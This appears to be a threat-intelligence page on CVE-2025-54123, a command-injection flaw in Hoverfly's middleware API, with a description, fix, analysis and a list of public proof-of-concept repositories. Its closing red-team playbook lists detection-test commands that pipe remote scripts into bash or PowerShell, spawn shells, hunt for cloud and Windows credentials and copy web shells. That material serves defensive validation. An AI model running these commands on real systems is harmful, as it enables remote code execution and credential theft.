CVE-2025-54123
Overview
This vulnerability is a command injection flaw rooted in insufficient input validation and unsafe command execution within the middleware management API of SpectoLabs Hoverfly. Specifically, the middleware.go component fails to properly sanitize user inputs at lines 94-96, which are then passed unsafely to system commands in local_middleware.go lines 14-19. The immediate execution logic in hoverfly_service.go line 173 further facilitates exploitation, affecting the /api/v2/hoverfly/middleware endpoint's middleware functionality.
Vulnerability Description
Hoverfly is an open source API simulation tool. In versions 1.11.3 and prior, the middleware functionality in Hoverfly is vulnerable to command injection vulnerability at `/api/v2/hoverfly/middleware` endpoint due to insufficient validation and sanitization in user input. The vulnerability exists in the middleware management API endpoint `/api/v2/hoverfly/middleware`. This issue is born due to combination of three code level flaws: Insufficient Input Validation in middleware.go line 94-96; Unsafe Command Execution in local_middleware.go line 14-19; and Immediate Execution During Testing in hoverfly_service.go line 173. This allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the Hoverfly process. Commit 17e60a9bc78826deb4b782dca1c1abd3dbe60d40 in version 1.12.0 disables the set middleware API by default, and subsequent changes to documentation make users aware of the security changes of exposing the set middleware API.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network (AV:N/AC:L/PR:N/UI:N) to execute arbitrary commands on the host running the vulnerable Hoverfly service. This includes uploading malicious payloads or executing reverse shells with the privileges of the Hoverfly process, potentially leading to full system compromise, data exfiltration, or lateral movement within the environment. The vulnerability requires no user interaction and affects the middleware API endpoint directly accessible via HTTP.
Solution
Users should upgrade SpectoLabs Hoverfly to version 1.12.0 or later, where the set middleware API is disabled by default, mitigating this vulnerability. The vendor advisory GHSA-r4h8-hfp2-ggmf and commit 17e60a9bc78826deb4b782dca1c1abd3dbe60d40 provide detailed patch information and security changes. Refer to the official GitHub security advisory at https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf for comprehensive remediation instructions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the open-source API simulation tool Hoverfly arises from a critical command injection flaw within its middleware management API endpoint. This issue is primarily attributed to insufficient input validation and sanitization, allowing attackers to manipulate user input in a way that can lead to remote code execution (RCE). Specifically, the vulnerability is rooted in three distinct code-level deficiencies: the lack of rigorous input validation in the middleware management code, unsafe command execution practices, and the immediate execution of commands during testing phases. These flaws collectively enable an attacker to execute arbitrary commands on the host system, including the potential for deploying malicious payloads or reverse shells, thereby compromising the integrity and security of the server running the vulnerable service.
Exploitation of this vulnerability can occur through various attack vectors, particularly by targeting the `/api/v2/hoverfly/middleware` endpoint. An attacker could craft a malicious request that includes specially formatted input designed to bypass any existing validation checks. Once the malicious input is processed, it is directly passed to system commands, allowing the attacker to execute arbitrary code with the privileges of the Hoverfly process. This could lead to severe consequences, such as unauthorized access to sensitive data, system manipulation, or even complete system takeover. Scenarios may include an attacker leveraging this vulnerability to install malware, exfiltrate data, or pivot to other systems within the network, significantly amplifying the risk.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on Hoverfly for API simulation in development and testing environments. Given the high CVSS score of 9.8, the risk associated with this vulnerability is categorized as critical. Businesses may face significant operational disruptions, reputational damage, and potential legal ramifications should an attacker exploit this flaw successfully. The ability for an attacker to execute commands remotely means that even organizations with robust security measures in place could find themselves vulnerable if they have not implemented proper safeguards around the Hoverfly service. Additionally, the potential for data breaches could lead to compliance issues, particularly for organizations subject to regulations such as GDPR or HIPAA.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. First and foremost, upgrading to the latest version of Hoverfly, which has disabled the vulnerable middleware API by default, is essential. This immediate action can significantly reduce exposure to the risk. Furthermore, implementing strict input validation and sanitization practices across all API endpoints is crucial to prevent similar vulnerabilities from arising in the future. Organizations should also conduct regular security assessments, including penetration testing and code reviews, to identify and remediate vulnerabilities proactively. Monitoring and logging API access can provide valuable insights into potential exploitation attempts, enabling timely responses to suspicious activities.
In conclusion, the command injection vulnerability within Hoverfly represents a significant threat to organizations utilizing this tool for API simulation. The combination of insufficient input validation, unsafe command execution, and immediate execution during testing creates a perfect storm for exploitation. The potential for remote code execution poses severe risks, necessitating immediate action from affected organizations to mitigate these vulnerabilities. By prioritizing upgrades, implementing robust security practices, and maintaining vigilant monitoring, businesses can safeguard their systems against the threats posed by this and similar vulnerabilities in the future.
CSURFACE threat intelligence has detected a modest uptick in exploitation attempts targeting CVE-2025-54123, accompanied by the emergence of several new proof-of-concept exploits circulating publicly. While our telemetry indicates a slight increase in activity, the overall exploit prediction scoring has declined sharply, reflecting a reduced likelihood of widespread automated attacks in the near term. This divergence suggests that although adversaries continue to refine and share attack tools, broad-scale exploitation has not yet materialized. For defenders, this nuanced shift underscores the importance of maintaining vigilance, as the availability of multiple PoCs lowers the barrier for opportunistic attackers, potentially increasing targeted intrusion attempts. The current risk posture remains critical due to the vulnerability’s inherent severity and potential for remote code execution, but the downward trend in EPSS score tempers immediate concerns of a large-scale outbreak.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Hoverfly | Hoverfly | All |
cpe:2.3:a:hoverfly:hoverfly:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (7)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
kasem545/CVE-2025-54123-Poc
CVE-2025-54123 Hoverfly Authenticated Middleware Command Injection RCE
|
kasem545 | 7 | 0 | 2026-03-28 | View |
|
0xk4rth1/CVE-2025-54123
CVE-2025-54123 Hoverfly Command Injection to RCE PoC
|
0xk4rth1 | 2 | 0 | 2026-06-18 | View |
|
0x00phantom-hat/Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit
|
0x00phantom-hat | 1 | 0 | 2026-05-27 | View |
|
f4dee-backup/CVE-2025-54123
PoC CVE-2025-54123 - Hoverfly <= 1.11.3 - Authenticated Middleware Command Injection
|
f4dee-backup | 0 | 0 | 2026-03-30 | View |
|
tristanqtn/CVE-2025-54123
CVE-2025-54123 exploit and documentation
|
tristanqtn | 0 | 0 | 2026-03-29 | View |
|
davidzzo23/CVE-2025-54123
Hoverfly CVE RCE
|
davidzzo23 | 0 | 0 | 2026-03-31 | View |
|
0xzap/CVE-2025-54123
A PoC demonstrating a RCE in Hoverfly (versions ≤ 1.11.3) by abusing the /api/v2/hoverfly/middleware endpoint and inject...
|
0xzap | 0 | 0 | 2026-03-28 | View |
Threat Feed
18 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-54123 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/SpectoLabs/hoverfly/commit/17e60a9bc78826deb4b782dca1c1abd3dbe60d40 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/SpectoLabs/hoverfly/commit/a9d4da7bd7269651f54542ab790d0c613d568d3e |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/SpectoLabs/hoverfly/blob/master/core/hoverfly_service.go#L173 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/local_middleware.go#L13 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/middleware.go#L93 |